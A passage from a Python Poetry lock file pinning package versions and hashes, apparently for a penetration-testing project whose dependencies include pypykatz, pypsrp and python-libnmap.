"pycryptodome-3.22.0.tar.gz", hash = "sha256:fd7ab568b3ad7b77c908d7c3f7e167ec5a8f035c64ff74f10d47a4edd043d723"}, ] [[package]] name = "pycryptodomex" version = "3.21.0" description = "Cryptographic library for Python" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" groups = ["main"] files = [ {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, ] [[package]] name = "pyflakes" version = "3.2.0" description = "passive checker of Python programs" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, ] [[package]] name = "pygments" version = "2.19.1" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c"}, {file = "pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f"}, ] [package.extras] windows-terminal = ["colorama (>=0.4.6)"] [[package]] name = "pylnk3" version = "0.4.3" description = "Windows LNK File Parser and Creator" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "pylnk3-0.4.3-py3-none-any.whl", hash = "sha256:fafa9293290163fed30541fb38f7df21a0e3f6fcc8324597a898ce694c9a593d"}, {file = "pylnk3-0.4.3.tar.gz", hash = "sha256:fbc5f512b581382c2a4c11e6df3796f9975bcfd99e3fca2afe531ea61b3c4ac2"}, ] [[package]] name = "pynacl" version = "1.5.0" description = "Python binding to the Networking and Cryptography (NaCl) library" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858"}, {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b"}, {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff"}, {file = "PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543"}, {file = "PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93"}, {file = "PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba"}, ] [package.dependencies] cffi = ">=1.4.1" [package.extras] docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"] tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] [[package]] name = "pyNfsClient" version = "0.1.5" description = "Pure python NFS client" optional = false python-versions = ">=2.7" groups = ["main"] files = [] develop = false [package.source] type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" resolved_reference = "9b61e0a6385743923ccffa6a80f8dbbf0714121d" [[package]] name = "pyopenssl" version = "24.0.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, ] [package.dependencies] cryptography = ">=41.0.5,<43" [package.extras] docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" version = "3.2.1" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "pyparsing-3.2.1-py3-none-any.whl", hash = "sha256:506ff4f4386c4cec0590ec19e6302d3aedb992fdc02c761e90416f158dacf8e1"}, {file = "pyparsing-3.2.1.tar.gz", hash = "sha256:61980854fd66de3a90028d679a954d5f2623e83144b5afe5ee86f43d762e5f0a"}, ] [package.extras] diagrams = ["jinja2", "railroad-diagrams"] [[package]] name = "pyperclip" version = "1.9.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" groups = ["main"] files = [ {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, ] [[package]] name = "pypsrp" version = "0.8.1" description = "PowerShell Remoting Protocol and WinRM for Python" optional = false python-versions = "*" groups = ["main"] files = [ {file = "pypsrp-0.8.1-py3-none-any.whl", hash = "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d"}, {file = "pypsrp-0.8.1.tar.gz", hash = "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7"}, ] [package.dependencies] cryptography = "*" pyspnego = "<1.0.0" requests = ">=2.9.1" [package.extras] credssp = ["requests-credssp (>=2.0.0)"] kerberos = ["pyspnego[kerberos]"] [[package]] name = "pypykatz" version = "0.6.10" description = "Python implementation of Mimikatz" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "pypykatz-0.6.10-py3-none-any.whl", hash = "sha256:b997d8ce7c012593ee7aabbaff86dac33a782c2edebd3adeec1809c7c400cd0f"}, {file = "pypykatz-0.6.10.tar.gz", hash = "sha256:3342e36086bc95ea0cb3f84358cda72ea1fc474d1900beae382c971c0ff40096"}, ] [package.dependencies] aesedb = ">=0.1.4,<=0.2.0" aiosmb = ">=0.4.8,<=0.5.0" aiowinreg = ">=0.0.11,<=0.1.0" minidump = ">=0.0.21,<=0.1.0" minikerberos = ">=0.4.1,<=0.5.0" msldap = ">=0.5.7,<=0.6.0" tqdm = "*" unicrypto = ">=0.0.10,<=0.1.0" winacl = ">=0.1.9,<=0.2.0" [[package]] name = "pyreadline3" version = "3.5.4" description = "A python implementation of GNU readline." optional = false python-versions = ">=3.8" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, ] [package.extras] dev = ["build", "flake8", "mypy", "pytest", "twine"] [[package]] name = "pyspnego" version = "0.11.2" description = "Windows Negotiate Authentication Client and Server" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "pyspnego-0.11.2-py3-none-any.whl", hash = "sha256:74abc1fb51e59360eb5c5c9086e5962174f1072c7a50cf6da0bda9a4bcfdfbd4"}, {file = "pyspnego-0.11.2.tar.gz", hash = "sha256:994388d308fb06e4498365ce78d222bf4f3570b6df4ec95738431f61510c971b"}, ] [package.dependencies] cryptography = "*" sspilib = {version = ">=0.1.0", markers = "sys_platform == \"win32\""} [package.extras] kerberos = ["gssapi (>=1.6.0) ; sys_platform != \"win32\"", "krb5 (>=0.3.0) ; sys_platform != \"win32\""] yaml = ["ruamel.yaml"] [[package]] name = "pytest" version = "7.4.4" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" groups = ["dev"] files = [ {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, ] [package.dependencies] colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} iniconfig = "*" packaging = "*" pluggy = ">=0.12,<2.0" tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] [[package]] name = "python-dateutil" version = "2.9.0.post0" description = "Extensions to the standard Python datetime module" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" groups = ["main"] files = [ {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, ] [package.dependencies] six = ">=1.5" [[package]] name = "python-libnmap" version = "0.7.3" description = "Python NMAP library enabling you to start async nmap tasks, parse and compare/diff scan results" optional = false python-versions = "*" groups = ["main"] files = [ {file = "python-libnmap-0.7.3.tar.gz", hash = "sha256:d03629256c2ee9ab37390c28d4c4c2ae9637cd0861dd8ab9e0f32779545936c0"}, ] [package.extras] defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" version = "2025.1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" groups = ["main"] files = [ {file = "pytz-2025.1-py2.py3-none-any.whl", hash = "sha256:89dd22dca55b46eac6eda23b2d72721bf1bdfef212645d81513ef5d03038de57"}, {file = "pytz-2025.1.tar.gz", hash = "sha256:c2db42be2a2518b28e65f9207c4d05e6ff547d1efa4086469ef855e4ab70178e"}, ] [[package]] name = "requests" version = "2.32.3" description = "Python HTTP for Humans." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, ] [package.dependencies] certifi = ">=2017.4.17" charset-normalizer = ">=2,<4" idna = ">=2.5,<4" urllib3 = ">=1.21.1,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" version = "13.9.4" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false python-versions = ">=3.8.0" groups = ["main"] files = [ {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, ] [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" version = "0.11.3" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ {file = "ruff-0.11.3-py3-none-linux_armv6l.whl", hash = "sha256:cb893a5eedff45071d52565300a20cd4ac088869e156b25e0971cb98c06f5dd7"}, {file = "ruff-0.11.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:58edd48af0e201e2f494789de80f5b2f2b46c9a2991a12ea031254865d5f6aa3"}, {file = "ruff-0.11.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:520f6ade25cea98b2e5cb29eb0906f6a0339c6b8e28a024583b867f48295f1ed"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ca4405a93ebbc05e924358f872efceb1498c3d52a989ddf9476712a5480b16"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4341d38775a6be605ce7cd50e951b89de65cbd40acb0399f95b8e1524d604c8"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72bf5b49e4b546f4bea6c05448ab71919b09cf75363adf5e3bf5276124afd31c"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9fa791ee6c3629ba7f9ba2c8f2e76178b03f3eaefb920e426302115259819237"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c81d3fe718f4d303aaa4ccdcd0f43e23bb2127da3353635f718394ca9b26721"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e4c38e9b6c01caaba46b6d8e732791f4c78389a9923319991d55b298017ce02"}, {file = "ruff-0.11.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9686f5d1a2b4c918b5a6e9876bfe7f47498a990076624d41f57d17aadd02a4dd"}, {file = "ruff-0.11.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4800ddc4764d42d8961ce4cb972bcf5cc2730d11cca3f11f240d9f7360460408"}, {file = "ruff-0.11.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e63a2808879361aa9597d88d86380d8fb934953ef91f5ff3dafe18d9cb0b1e14"}, {file = "ruff-0.11.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8f8b1c4ae62638cc220df440140c21469232d8f2cb7f5059f395f7f48dcdb59e"}, {file = "ruff-0.11.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3ea2026be50f6b1fbedd2d1757d004e1e58bd0f414efa2a6fa01235468d4c82a"}, {file = "ruff-0.11.3-py3-none-win32.whl", hash = "sha256:73d8b90d12674a0c6e98cd9e235f2dcad09d1a80e559a585eac994bb536917a3"}, {file = "ruff-0.11.3-py3-none-win_amd64.whl", hash = "sha256:faf1bfb0a51fb3a82aa1112cb03658796acef978e37c7f807d3ecc50b52ecbf6"}, {file = "ruff-0.11.3-py3-none-win_arm64.whl", hash = "sha256:67f8b68d7ab909f08af1fb601696925a89d65083ae2bb3ab286e572b5dc456aa"}, {file = "ruff-0.11.3.tar.gz", hash = "sha256:8d5fcdb3bb359adc12b757ed832ee743993e7474b9de714bb9ea13c4a8458bf9"}, ] [[package]] name = "setuptools" version = "75.8.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, ] [package.extras] check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.collections", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] [[package]] name = "shiv" version = "1.0.8" description = "A command line utility for building fully self contained Python zipapps." optional = false python-versions = ">=3.6" groups = ["dev"] files = [ {file = "shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24"}, {file = "shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6"}, ] [package.dependencies] click = ">=6.7,<7.0 || >7.0" pip = ">=9.0.3" setuptools = "*" [package.extras] rtd = ["sphinx-click"] [[package]] name = "six" version = "1.17.0" description = "Python 2 and 3 compatibility utilities" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" groups = ["main"] files = [ {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] [[package]] name = "sniffio" version = "1.3.1" description = "Sniff out which async library your code is running under" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, ] [[package]] name = "soupsieve" version = "2.6" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, ] [[package]] name = "sqlalchemy" version = "2.0.38" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e1d9e429028ce04f187a9f522818386c8b076723cdbe9345708384f49ebcec6"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b87a90f14c68c925817423b0424381f0e16d80fc9a1a1046ef202ab25b19a444"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:402c2316d95ed90d3d3c25ad0390afa52f4d2c56b348f212aa9c8d072a40eee5"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6493bc0eacdbb2c0f0d260d8988e943fee06089cd239bd7f3d0c45d1657a70e2"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0561832b04c6071bac3aad45b0d3bb6d2c4f46a8409f0a7a9c9fa6673b41bc03"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49aa2cdd1e88adb1617c672a09bf4ebf2f05c9448c6dbeba096a3aeeb9d4d443"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-win32.whl", hash = "sha256:64aa8934200e222f72fcfd82ee71c0130a9c07d5725af6fe6e919017d095b297"}, {file = "SQLAlchemy-2.0.38-cp310-cp310-win_amd64.whl", hash = "sha256:c57b8e0841f3fce7b703530ed70c7c36269c6d180ea2e02e36b34cb7288c50c7"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bf89e0e4a30714b357f5d46b6f20e0099d38b30d45fa68ea48589faf5f12f62d"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8455aa60da49cb112df62b4721bd8ad3654a3a02b9452c783e651637a1f21fa2"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53c0d6a859b2db58332e0e6a921582a02c1677cc93d4cbb36fdf49709b327b2"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3c4817dff8cef5697f5afe5fec6bc1783994d55a68391be24cb7d80d2dbc3a6"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9cea5b756173bb86e2235f2f871b406a9b9d722417ae31e5391ccaef5348f2c"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:40e9cdbd18c1f84631312b64993f7d755d85a3930252f6276a77432a2b25a2f3"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-win32.whl", hash = "sha256:cb39ed598aaf102251483f3e4675c5dd6b289c8142210ef76ba24aae0a8f8aba"}, {file = "SQLAlchemy-2.0.38-cp311-cp311-win_amd64.whl", hash = "sha256:f9d57f1b3061b3e21476b0ad5f0397b112b94ace21d1f439f2db472e568178ae"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12d5b06a1f3aeccf295a5843c86835033797fea292c60e72b07bcb5d820e6dd3"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e036549ad14f2b414c725349cce0772ea34a7ab008e9cd67f9084e4f371d1f32"}, {file = 